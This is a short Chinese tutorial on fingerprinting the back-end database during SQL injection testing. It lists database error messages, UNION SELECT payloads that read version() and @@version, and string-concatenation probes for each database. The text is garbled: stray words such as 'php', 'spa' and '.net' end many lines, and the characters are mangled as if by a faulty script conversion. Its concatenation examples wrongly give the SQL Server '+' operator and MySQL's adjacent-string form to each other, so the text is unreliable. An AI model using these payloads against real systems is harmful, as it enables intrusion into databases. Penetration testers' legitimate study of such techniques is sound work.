即便sql語言是標準的,每一種數據庫有本身的特色,在不少方面都是不一樣的,好比,提取數據(用戶名和數據庫,特徵,註釋)的命令和函數都是不一樣的。php
當測試人員轉向更高級的SQL注入開發時,他們須要知道後端數據庫是什麼。sql
一、第一種尋找後臺使用的數據庫的方法是,經過應用返回的錯誤來發現。下面就是一些錯誤信息的示例:數據庫
MySql:後端
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1函數
一個完整的利用version()函數進行的聯合查詢也可以幫助瞭解後臺數據庫。測試
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1spa
Oracle:.net
ORA-00933: SQL command not properly endedserver
MS SQL Server:開發
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
PostgreSQL:
Query failed: ERROR: syntax error at or near "’" at character 56 in /www/site/test.php on line 121.
二、若是沒有錯誤消息或自定義錯誤消息,測試人員能夠嘗試使用不一樣的鏈接技術將其注入字符串字段:
MySql: ‘test’ + ‘ing’
SQL Server: ‘test’ ‘ing’
Oracle: ‘test’||’ing’
PostgreSQL: ‘test’||’ing’